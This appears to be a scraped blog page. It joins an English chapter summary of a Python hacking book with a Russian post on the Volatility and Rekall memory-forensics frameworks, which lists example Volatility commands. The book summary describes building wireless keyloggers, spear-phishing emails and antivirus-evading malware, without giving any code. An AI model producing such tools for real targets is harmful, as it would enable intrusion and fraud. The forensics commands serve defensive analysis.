Chapter 4 uses Python to analyze network traffic. The scripts in this chapter geo-locate IP addresses from packet captures, investigate popular DDoS toolkits, discover decoy scans, analyze botnet traffic, and foil intrusion detection systems.

Chapter 5 creates mayhem for wireless and Bluetooth devices. The examples in this chapter show how to sniff and parse wireless traffic, build a wireless key-logger, identify hidden wireless networks, remotely command UAVs, identify malicious wireless toolkits in use, stalk Bluetooth radios, and exploit Bluetooth vulnerabilities.

Chapter 6 examines using Python to scrape the web for information. The examples in this chapter include anonymously browsing the web via Python, working with developer APIs, scraping popular social media sites, and creating a spear-phishing email.

In the Final chapter, Chapter 7, we build a piece of malware that evades antivirus systems. Additionally, we build a script for uploading our malware against an online antivirus scanner.

It's cool book for cool guys.

Wednesday, 3 April 2019

Фреймворки анализа памяти Volatility и Rekall.

Всем привет.

Фреймворки существуют не только для web-разработки, но и в цифровой криминалистике. Самые известные среди них это Volatility и Rekall.

*** Volatility ***

Для работа с дампом оперативной памяти существует отличный фреймворк написанный на языке python - Volatility. Он обладает удобными консольным интерфейсом, который также обладает возможностью напрямую получить доступ к питон шеллу для работы внутри образа.

Основной инструмент использует большое количество плагинов позволяющий выполнить разнообразный анализ изображений памяти. В результате Volatility может работать на любой операционной системе, которая поддерживает Python. Кроме того, волатильность может быть использована против файлы образов памяти из большинства распространенных операционных систем, включая Windows, macOS и Linux.

Пример использования.

sudo apt-get install volatility 

volatility -f image.mem imageinfo - первым делом можно посмотреть информацию о дампе

volatility -f image.mem pslist - возможность увидеть процессы

volatility -f image.mem pstree - дерево процессов

volatility -f image.mem screenshot --dump-dir ~/ -получить скриншот

volatility -f image.mem volshell - получаем интерактивный шелл python

volatility -f image.mem cmdscan - история команд cmd.exe

volatility -f image.mem clipboard - извлечь контент буфера обмена

volatility -f image.mem connscan - увидеть открытые соединения

Версія на друк

Популярне